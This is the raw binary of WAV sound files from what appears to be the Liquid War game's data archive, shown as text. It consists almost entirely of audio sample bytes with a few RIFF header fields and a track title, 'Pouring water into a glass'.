~~~}~}~~~~~}~~~~~~~}}~~~~}~~~}~}~~~}~}~~}}~~}}}~~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}}~~~~}~}}~{||~~}~}~~}~~~~~~~}~||z||}z|}z}}}{}~}~|{~~{|~}~|}}}}}}~~~~~}~~~~}~~}~~~~~~}~~~~~~~~~~~~~}}~~~~}~~~~}~~~~~}}~~}~~~}}~~}}~~~~}~~~~}~~|}~|}|||}~~~~~~~~~~~~}~~}~}~~~}}~~~~~~~~~~~~~~}~~~}}~}~~~~}~}~~}}~~}|}~~|{|}~~~~|{z{~~{yz|~|~|~~}~}}z}|}~{~|}~~|{~}~~}~||~}~||}~}~|~}~}}~}~~{~|}|~||~|}}}~}~}~~~~x||{~}}|}|}|}~~~~}}~}~~}~~}|}~}~~|}~}~~}}~}~~}}~~~~~}}}}}}}|~~~~~}}~~~~}~}~~}}~~~}|~~|~~~|~~~~}~~~~~~}~}}|~~~~}~~~~~~}~~}~~~~~}~~~}~}~}~}~}~}~~}~}~~~~}~~}~~}~~}~~~~}}~~~~~~~~~~~~~~~~~~~~~~|}}~~~~}}}}~~~~~~}~~~~~}~}}~~~}~}~~~~}~}~~}~~}~~~}xz~w{}y~{||~|}}|~}~|~}}}~~}~~~~~~}~~~}}~~~~~}~~~~}~~}~}~~~}~~~~~~~~|}~{}~~~}~~~~}~||~}}~~~~}~~~~~~~~~~}~~~~~}~~~~~~~~~}~~~~~~~~~~~~~~~y~{}~{}y{|~w{yy}}z|{}{z}~xx|~y{|}}~}~~|}}||~||{}~|~|~~}~~~~~}}~}}}~}~~}~~}}~}}}}~~}~~~~~~~}~~~}}~~~}~}~~}~}~~~}}~}~}~~|~~}~~~~~~~~~}~~}~~}}~~}}~~~}~~~~~~~~~~~~~~~~~~}~~~~~~~~~~~~~~~~~~~}}~~~~}~}~~}~}~~}~~}~~~~~}~~~~~~~~~~~~~~~~}~~}~~~~~}~~}~~}~~~~}~}~}~~}~~~~~~~~}~~~~~~~~}~~~~~~~~~~~~~~~~}~~z{{y|yy~}{z~~x{|y|{y{{z~{|~~}}}}}~~}~~}~~~}~~}}~~~}~}~}~{}|~~~~}~}~~~~~~}~~~}}~~|~~}~~~}}~~~}|~}{}||~}{|~||~}|}~}|~~|}~}~~}~~~~~}~}~yy}|}}{x~}||}|}~}|}|{}~{|~|{~|{~|~~}|~}}}}}}~||}}~~~|~}}|~}}}}~~}}}~|~~}}~~~~~~~}~~~~~}~~}~}~~}~~}}}~~}}}~~~~~~~~~}~~~~}~~~~~~}~~~~~~}}~~~~~~~~~~~~~~~~~~~~}~}~}~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~}~~~~~~}}~}~}}}|}|}|}}}}~~}~~~~~~~~}~~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~~~}~~~~~~~~}~~}~~~~~~~~~}~~~~~~~~~~}}~}~~~~}~~~~~~~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~~~~~~~~~~~~~~}~}~}~~~~}~}~~~~}~}~~~~~~}}~~}~~~~~~~~}~~~}~}}}~~~}}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~}~}~~~}~~~~~~~~~~~~~~~~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~}|~~~~}}~~~}~~~~~~~}}~~~~~}~~~~~}~~~~~~~~~~~~~~~~~~~}~}~}~~}~}~~~}~~~~~~~~}~|{~}{}~}}}~~~}}~~~~~~}~~~~~~}~~~~~~~~}~~~~~~~~~~~~~~~~~~~~~~~~}~~~~~~~~~~~~~~~~~~~~}~~}~~}}~~~~~~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~}~~~~~~~~~}~}~}~}}}}~}~}}}~|{~~~~~~~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}}~~~~}~}~}~~~~~~~~~~~}~}~}~~}~~}~~~~~~~~~~~~~~~~~~~~~~~~~}~}~~~~~~}~~}~~~~~~~~~~}~~~~~}~~~~}~~~~~~~~~~~~~~~~~~~~}~~}~}~~}}~}}~~}~~~~}~~~~~~~~}~~~~~~~~~~~~~~~~}~}}~}}~~}~~~~}}}}~}}||~}~~}}~~~~}}~~~}~}}~~~}~}}~~~}}~~}~~~~~~~~~~~}~~~~~~~~~~~~~~~~~~~~~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}}~~~~~~~~~~}~~~~}~~~~}~~~}~~~~}}~~~~~~~}~~~~}~}~}~}~~}}~~~~~~~~}~~~~~~}~~~}~}~~~~~~~~~~~~}}~}~~~~}}~~~~~~~|}~~~}~~~}~~~}~}~~~}~|||~~}~|~||}~~}}~}}}~~}}~~~}~~}~~~}}}~}||~}||}~}}}}}}~~~}~~}~~~~~~~~~~~~~}~~||~~|}}}~~|}~}}~}}~~}}}|}~|}~}~~}~~}~~~~}~~}}~~}}~~}~~~~}~~~~~}~~}~~~}~~~}~~}}~~}}~~}~~}~~}~~~}~~~}z~z|}z~{}~}|~~}|~}~~~}~~}~~~~~~~~~}~~}~}~~~}~~}}~~}~~~}~~}~~~}~~~~~~}}~~~}~~~}~~~~~~~~~~~~~}~~~}~~~~~~~~~~~~}}~~}~~~~}~~}}~~}~}~~}~~~}~~~~~~}~~~}~~}}~~}~~}}~~}~~~}~~}~~}~}~~~~~~~~~~~}~~}~~~}~~~~~~~~~~~~~~}~~~~~|~||~}}}|}}}~}}~~}~~~}}}~~}~|~~~~~|}~~~}}~~}~~}}~~}}~~}}~}~}}}~~~~}~~}~~~~~~~~~~~~~~~~~}|}~~~}}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~~~}~~~~~~~~~~~~~~~~}~~}~~}~~~~}}~~~~}~~~}~~}~~~}~~~~}~~~~~}~~~}~~~~~~~~~~~}~~~~~~~~~}}~~~~~~~~~~~~~}}~~}~~~}~~}~}~}~}~}~~}~}~~~~~~~~~~~~~~~~~~}~~~~}~}~~~~}~}}~}~~}~~}~}~}~~}~~~}~}~~}~~~}~~~~~~~~~~~~~~~~~~~~}~}~~~}~~~}~~}~~}~~}~}~}~~~~~~~~~~~~~~~~~~~~~}~}~}~~}~~}~~}~}~}~~~~~~~~~~~}~~~~~~~~~~}~~~~~~~~~~~~~~~~}~~~~}~~}~~}~~}~~~~~~}~~}~~}~~~~~~~~~~~~~~~~~~}}~~~~~}~~~}~~~~~~}~}~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~}}~~~}~~~~}~~~}~~~~|}}|}}}~~~~~}}~}~}~~~}~~|~}~~}~~~~~}}~~~~~}~~~~}~~~}}}}}~}~~~~~~~~}~~~~~~~~~~~~~~~}~~~~~~~~~}~~}}~~}~~}~~}~~~~~~~}~~}~~~~~}~~}~~~~~~~~~~}~~~~~}~~}~}~~}~~~}}~}~~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~~~~~~~~}~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~}~~~~}~}~}~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~}~~}~}{|~||}~~~}~}}}~~}~~~}~~}~~~~~~~~~~~~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~~}~~~~}~}~}~~~~~~~~~~~~~~~}~~~~~~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~~}~~~~~~~~~~~~~~~~~~~~~~}~~~~~~~~~~~~~~~~~}}~~~~~~}~}~~~~~~~}~~~~~~~~}~}~~~~}~~}~}~~~~~~~~~~~~~}~~}~}~}~}~~~~}~~}~~~~~~~~~~~~~~~~~}}}|}~~~~~~~~~~~~~~~~}~~~~~}~~~~~~~~~~~~~~~~~~~~~~~~}~~~~~}~}~~~}~~}~}~}~~~~~~~~~~~~~~~~~~~}~}~}~~~~}~}~}~~}~}~~~~~~~~~~~~}~~~~~~~~~~}}~~}~~~~~~~}~~~~~~~~~}~~~~~~~~~~~~~~}~~}~~~~}~~}~~}~~~~}~~~}~~}}~~}~~~~}~~}~}~}~}~~~}~}~~}~}}~}~~~~}~~~}~~~}~~~~~~~~~~}}~}}~~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~~~~~~~~~~~~}~}~}}~}~}~~}~}~}~}~}~}~~~~}~}}~~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}}}~~~~~~~~~~~~~~~~~~~~~}~~~~~~~~~~~}~~~~~~~~~~~}~}~~~~~~~~}~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~~~~~~}~~}~}~~~~}~~~~~~~~}~~~~~}~~~~~}~~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~~~~~~~~~~~~~~~~~~}~~~~~~~}}~~~~~~~~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~~}~}~}~~}~}~}~~~~~}~}~~~~}~~~~}}~~~~~~~~}~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~~~}~~~~~~~~~~~~}~~~~~}~}~~}~}~~~~~~~~~}~~}~}~}~}~}~}~}~~}~}~~}~}~~}~~}~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~}~}~~~~~~~~~~~~~~~~~~~~~~~~}~~~}~~}~~~~~~~~~~~~~~~~~~~~~}~}~}~}~}~}~~~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~|}|{|}~}}}}~~~~~~}~~~~~~~}~~~~}~~}~~~~~}~~~~~~~~~~~~}~~~~~~~~~~~~~~~~~}~~~~~~~~~}~~~~~~~~~~~~~~~~~~~~~~~~~}}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~}~}}~}~}}~}~}~}~~~~~~~}}~~}}~~}~~}~~~~~~~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}}|}~~~~~~~~~~~}~~~~~~~~~~~~~}~}~}~~}~}~}~~~~~~~~~~~~~~~~~}~}~~~~}~~}~}~~~~~~~~~~~~~~~~~~~~}~~~~~~~}~~~~~}~~~~~~~~~~~~~~~~||}~}~~~~~~}}~}~~~~}~}~~~~~}~~}~}~~~~~~~~~~~~}~~~~~~~~~~~~~}~~~~}~~~~~~~~~~~~}~~}~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~~~~}~}~~~~~~~~}~~}~~}~~~~~}~~}~~~~}~~}~~}~}~~}~~}~~~~~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~}~}~}~}~~}~}~}~}~}~~}~~}~~~~~~~~~~}~}}~}~~~~~~~~~~~~~~~~~~~~~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~~~~~~~|}~~~~~~~~~~~~~~}~}~~~~~}~~}~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~}~}~~~~~~~~~~~~~~~}~~~~~~~~~~~~~~~~}}~~~~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~}}~~~~~~~}}}}}~~~~~~~~~~~~~~~~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~~~~~~}~~}~}}~}~~}~}}~}~~}~}~}~~}~}~~}~~~~~~~~~~~~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}}~~~~~~~~}~~~~~~}~~~~~~~~~~~~~~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~~~~~~~~~~~~~~~~~~~~~~~~~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~}~}~~~~}~~~~}~~}~~~~~~~~~~~}~~~~~~}~}~~~~~~}}~~~~~~~~~~~~}~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~}~}~}~~~}~~~~~~}~~~~}~}~~~~~~~~~~~~~~}~}~~~~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~~~~}~}~}~}~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~~}~}~}~~~~}~}~}~~}~}~}~~~~~~~}~}~}~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~~~~~~~}~}~~~~~~~~}~}~}~}~~}~}}~}}~~~~~~}~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~}~}~~~~~~~~}~}~~~~}~}~}~~~~}~}~~}~}}~~~~~~}~~~~}~~}~~}~}~}~~~~~~~~~~~~~~}~}~}~~}~}~}~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}}~~~~}~}~}~~~~~~~}~}~}~~~~}~~~~}~~}~~~~}~~~~~~~~~}~}~~~~}~~~~~~}~}~}~}~~}~}}~~~}~~~~}~}~~~~~~~~}~~~~~}~~}~~~~~~~~~~~~~~~~~~~~~~}~}}~}}|}~~~~~~~}~~~~~~~~~~~~~~~~~~~~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~~~~}~}~~~~}~~~}~}~~~~}~~}~~~~~}~~~~}}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~~}~}~~~~~~~~~~~~~~~}~~~~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}}~~~~}~}~~~~~~~~~~~~~~~~~~~~~~~~~~~}~}~}~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~~}~}~~}~}~~}~~~}~}}~}~~}~~~~}~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~~}~~~~~}~~}~~}~}~~}~}~}~~~~~}~~~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~~}~~~~~~~}~~~~~~~~~~~~~~~}~}~~~~~~~~~~~~~~}~~}~~}~~~~~~~~~~~~~~~~~~}~~~~~~~~~}~~}~~~~~~~~~~~~~~~~~}~~~~~~~~~~~~~}~~}}~~~~~}~{zz{||}}}~~~~~~~~}~}}}~}}}}}}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~~~}}~~~~}}~~}}~~~~~~~~~~~}~~}~~~~~~~~~~~~~~~~~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~~~~~~~~~~~~}~~~~~~~~~~~~~}~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~~~~~~~~~}~~}~}~}~~~~~~~~~}~}~~}~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~~~~~~~~~~~~}}~~~}~~~~~~~~~~~~~}}~~~~~}~~~~}~~~~~~~~~~~~~}~}~}~~~~~~~~~~~~}~~~~~~~~~~~~~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~~~~~~~~~~~~~}~~~~}~~~}~~~~~~~~~~~~~~~~~}~}~}~~~~}~~~~~~~~~~~~~~~~~~~~~~~~}~~~~~~~~}~~~~~~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~~~~}~~~}~~~~~~}~~}~~~~~~~~~}~~~~~~~~~~~~~~~~~~~~}~}~~}~}}~}~~}~}~~~}~~~}~}~~~~~}}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~~}~~~}~}~~}~~~~}}~~}~~}}~~}~~}~~}~~~~~~~~~~~~~~~~~~}~~}~~}~~~}~~~~~~~~~}~~~~~~~~~~~~~~~~~~~~~~~~~}~}~~~}~}~~~}~~}~~~~~~~}~}~}~~}~~~~~~~~~}~~~~~~~~~~~}~}~~~~~~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~~}~}~~~}~~~~~~~~~~~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~~}~~~}~~~~}~}~}~}~~}~}~}~~~~~}~~~}~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}}~~~~~~~~~~~~~~~~}~~}~~~~~~~~~~~~~~}~}~}~~~~~}~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~zzor\~\xh|t`ejbqifqg{|jtnpwp{~r{vyww|x}w}y|yy}y~y}}{~z|{||{}~{~|~}|}~}|~}||}~|}~|~~~}~}}~~~}~~~~}~~~~~~~}~~~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~~}~~~~~~~~~~~~~~~~~~~~~}~~}~~}~~}~~~}~~~~}~}~~~~~~~~}~~~~~~~~~}}~~}}~~}~~~~~~~~~~~~~~~}~~}~~}~~~~~~~~~}~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~~~~~~~~~~~~~~~~~~}~}~}~~~~~~~~~~~~~~~~~~~~~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~~~~}~~}~}~}~~~~~~~~~~~~}~}~}~~}~}~}~~}~}~}~~~~~}~}~}~~}~~~~~~~~~~~~~~~~~~~~~~~~~~}~~~}~}~~}}~~}~}~}~~~~~~~~~~~~~~~~~~~}~}~}~~}~~~~~~~~}~~~~~~~~~~~~~~}~}}~}~~~~~}~~~~~~~~~~~~~~~~~~}~~~~~}~}~~}~}~~~}}~~}~~~~~~}}~~}~~~~}~~~~}}~~~~~~~~~~~~~~}~~~~~~}~}}~}~~~~}~~}~~~~~~~~~~}~~~~~}~}~}~~~~~~~~~~}~}~~~~}}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~}~}~}~}~}~~}~}~}~~}}~~~~~~~~}~}~~~~}}~~~~~~~~~~~~~~~~~~~~~~~~~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~}~~}~}~~}~~}~}~}~~~~~}~}~}~~}~}~}~~~~}~}~}~~}~~}~~}~}~}~}~~}}~~~}~~~~~~~~~~~~~~~~~~~~~~~~~}}~~}~}~}~~}~}~}~~~~~~~~~~}~~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}}~~~~~~~~~~~~~~~~~~~~~~~}~~}~}~}~~}~}~}~~~~~~~~~~~~~}~}~}~~~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~}~}~}~~~~}~}~~~~~}~}~}~}~~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~}~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~}~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~~}~~}}~~~~}~}~}~~~~}~}~~~~~~~}~}~}~~}~}~}~~~~~~~~~~~~~}~}~}~~~~~~~~~~~~~~~~~~~~~~}~~}~}~~~~~~~~~~~}~~~~~~~~~~~~~~~~~~~~~}~~}}~~}~~}~~}~~~~~~~~~~}~~}~~}}~~}~~}~~}~~}}~~}~~~~}}~~~~~}~~}~~}~~}~~~~~~~}~~}~~~}}~}~~~~~~}~~~~}~}~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}}~~~~~~~~~~~~~}~~}~~~}~~~~~~~~~~~~~~~}~}~}~~}~}~}~~~~~~~}~}~}~~}~}~~}~~~~~~~~~~~~~~~}~}~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~}~~~~~~~~~}~~~~~~}~~}~~~~}~~~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~~~~~~~~~~~~~}~~~~~~~~~~~~~~~}~~~~~~~~~~~~~~~~~~~~~~}~}~}~~~}~~}~}~}~~~~}~~~~~~~}~~}}~~}}~~~}~~~~~~~~}~}~}~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~~~~~~~~~~~~~~~~~~~~~}~~}~~~~}~~~}~}~}~~}~}}~~}~~~~}~~~~~~~~~~~~}~~~~~~~~~~~~~~}~~~~~~~~~~~~~~~}~~~~~~}~~~~~~}~~~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~~~~~~~}~~}~~~~~~}~~~}~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~}~}~~}~~~~~~~~~~~~~~~~~~~~}~~~~}~~~~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~~~~~~~~~~~~~~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~~}~}~~}~}~}~~~~~}~~~~~~}~}~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~}~~~~}}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~DISPl( wwwwwwwwwwwwwwwwwwywwwwwwywwwy"///"/"//"///DOOOUUUUYOD__OOO_U____UUUUUU_UU_UUUU_UUU_U_DISPPouring water into a glassLISThINFOISBJ\Miscellaneous 1993 Interactive Publishing Corporation. All rights reserved.liquidwar-5.6.5/data/water/lavaflow.wav0000664000372000037200000015517413407756104017543 0ustar travistravisRIFFtWAVEfmt ++dataU~~~~~~~~~~~~~~~~~~~~~~~~~~~}~}~}~~~~~~~}~}~}~~~~~~~~}~~}|}}|}||}||}~}~~}|}}~~~~~}}~~~~}~}}~~~~~}~}~}~~}~}~}~}}~~~~}~~~~~~}}|{{zzyzxwxyzzyz{{|{zyz{}~~}~}{{|~~||}}~~}||{zz{z{|{|}~~~~~}}|}|}~~~~}||{zzyxyyxwxwxyzyxyz{|}~~~}|{yyxwwvwvuvuvwwxyxyxyz{{|}~~~~}|}|{|}}||{{|{|{||{|{{zzyyzz{{||}}~~~~}~}}|{|{||{zyzyzzzyy|}|{|}}}}~}|{zyyxwwxyxyxyyzz{{z{{|{|}|}~~~}|{zyyxwxxxxxxxxwxwxyxyyxyz{|}|}|{zyzyzyzz{|{{|}|}}~~|zzyyxvssuvvsqrstsrpopqqpopsvy{{|{|}~~~{{}~~}zyzyzyxx|~zwwyzywtoklmnortstuxyz~~~|ywvuutuvwvurrty}|yxxwvtrtwx{||}~zyz}~~}zy{}|}~~}yuvz||}{{|{yxxyyxy|~~~|}{z{zz{~}}}{xutssvz|}~~}{|~~~}~}|}}|~}|}}~~{xvutsrsttsruy{|~}|}}}}{zywy|}}|}~}~~}}}|ywx{|{{zyzyxwuuvvutuy|}~}}~}~~~~~{zz{|}}~~|{zwvvwz{|{|}~~{xwx|~~~~{yxxwvvwxyz{{||zwwy~~}|}~~}|}|}|}~~{yvsonrwwtomlkknruvutqpprsw|z{~~~~|{zxwxyxyz{zxtrtvvwx{~~{xxz~~}zxyy{|~||}~~}}~}{zyz{{z{zwqmkklosuvyzywxxwtsrqsw{~~{y{~~~|{xwx{{xvwwupnnortssv{~~~{}~yv|{tttsx}~}~}|}~~|{zwsrtutsqruvvwvvy~|wstx}~}ytolmpqqnnsy{zyzyvuutomnqvy{zxxy{||{yz{~{|}}zx|{yy||{||zyzz|}|uoqvyxuttwyzy{~~{trtxzxwvtrpmjijiggimt{}wqmorux||xz~xtsy{uolouz|xphffhikqz~wqolknv}z|wmmprtz~{vspmmnorvyxrignw~~zsnpy}xrooosxyxvuttuvwvsrsttttstusnjlqtvwwvwvx{}||~wux{~|uqrwz{z{|}~~}|{z{}~~||{z~z~}}~{xuqnkjgea_aglld^cmvwnc]an~~~~|yxwqjefije^]adgmslZR[nwux}|{{|}|{xwtsuz}{vtvzzxz}{vw|{vtvxxrkgghhgfec`]\[Z[_dfeca``gs~wrxrjmu|~xoe][\[Z[_bcdehklklpuyyussttv{~~}{~zungfjooia][[afkkjjijmqtrngfjqsrrpgYV_n|zrkd_ZWVUTUVWXWVWXYZ^hnaSWhxyx~}}~~~|{|{zz{~~}{xwtqnligd`_^\YUW\_aba`abdhmrx}|wsplhc[VVUTRQRQJ??FPVXVRTamnmnrxymc\\bc[SQR\pzodguoccnz|}yjl}soxyw|yyox|}wspjgntgOFNZ\KC?DLGIXcgkpvpejyƿź~j`rx^LDADIK@8Opxkcgnszy{}zywuwl_hqrx~~xoe_ZX_konnmlpvvpjknsuwz|}}zxvoquod]`giikokcbdc[QKF?;:?@<8;@@@EFAKl}lnswοzrlnkUHM@' *//,***,.16;@GNWcq~||~~|yxwx{~xtsk[MFEA89EMG=71),:HK>3>VcqzoowwrkZABFFEEFGJQ[ehfn|žʿ~tqqj^_inkhbXWahe]TV_gdXLCCLU[][XVSPOWdsvns{ƾgSLQarp]LB??>@BDGHHECB@BN]gnvzvqprx{qoz~qjnxnora_otaWUYbggedcba_^\^_bhou|~|z|qb_ehlomic\TPRV\dfeejnliikqvwxz~zssturnicYMHHGHNRUZ``bgklmmkhfd^XWZ_hmlmljjntyþɽ{mgeablu{ylktrd\YUSSQQUVUVYZXWRQW[\_\ODEC=?IYlxp^X[^hyuwyofeghjkkmssjeimmhbhvvf_dgipvvsrolke`cigdghdbb^_gbYaosx}xrrxzz}ncimijszzyzywsrzvrqnkosu}~zwphe^SOSVX^b``eecfnuwtxqloi[W[TE??BKQVaknmmkec`[Zeuva_t~ujgkqzuxyrkhklnuv|{z}vy~trsqmfbcfgfir{}yn^WZ^\XYYXYZZ\bhw~c_kz|vsg^VPHIYgh^_vztk_]gnpw}djwwst{silu}iirtonv|}tjhlprv{|xvy}zq`W[[PDDKR[j{yy}ldbfhdbn~lca[J923;EJHLYbivpnux~tgimlnronu{uprvupwusvxviuvt{xmlw{pnu}|rkmj`\i|yw|tyuqywisywyuy}wiqxvyj`iu|mdntlbagnv~~xrnkhecdehlquxzz||{|{zxspkea^XLB=:74110/./27727BINTYVV_kquxyz|ztsto^MMZ^UMKLP[ejjkmmnptwy|~z~{usx|{xz|vlghd[TOIGNUQG?<@INR[da\`fmv|̿ô}j]aoy|ykT9% /AGGEFJQX]]\[]adgjjgghkmnq{|uu{{oigfe_RD@C@86;91/30-//2FWYV^pwttzȾ~}shcdb``_]VOPSWZ]`dgjjiknoruz}lhnvz}qacpwunlns|||yoiloja]\YQO]lmhp~~uqx~µzwsvmZRZc^OGHHB>;9:ANX]]\`m|ye_qzvqoz²zxwz{wpkggg`U[mts{yrqw|}|xyywvzk^^irocUOS[bjppkg]MIXm{w±p^YafaYV`lnfZQS[\[itePVksf]q}utqko}~rbZauwi{suptzty}|{~xs}}p{}xyp~vw~wyxndaafqxvoigfc`\ZZalw|xvsnic``bcdcb__hrx|{z{zth_fv}vromljgimh_XX[]_p{vvz̿{x|spgYNB>@?;<>@DIKIG=58<<=@BHTcyz|zqosobQEEP[_b`]cd__gqyzsklsx}vtsuywrnkjg\Zkyp^TUbqsotst~~tkd^WLEDGVcZQX^YVWMCGRYYWVW[cnw{~°|{}xyz~~zwzwsssmc]ZUROLLQTNNVYXXXW]i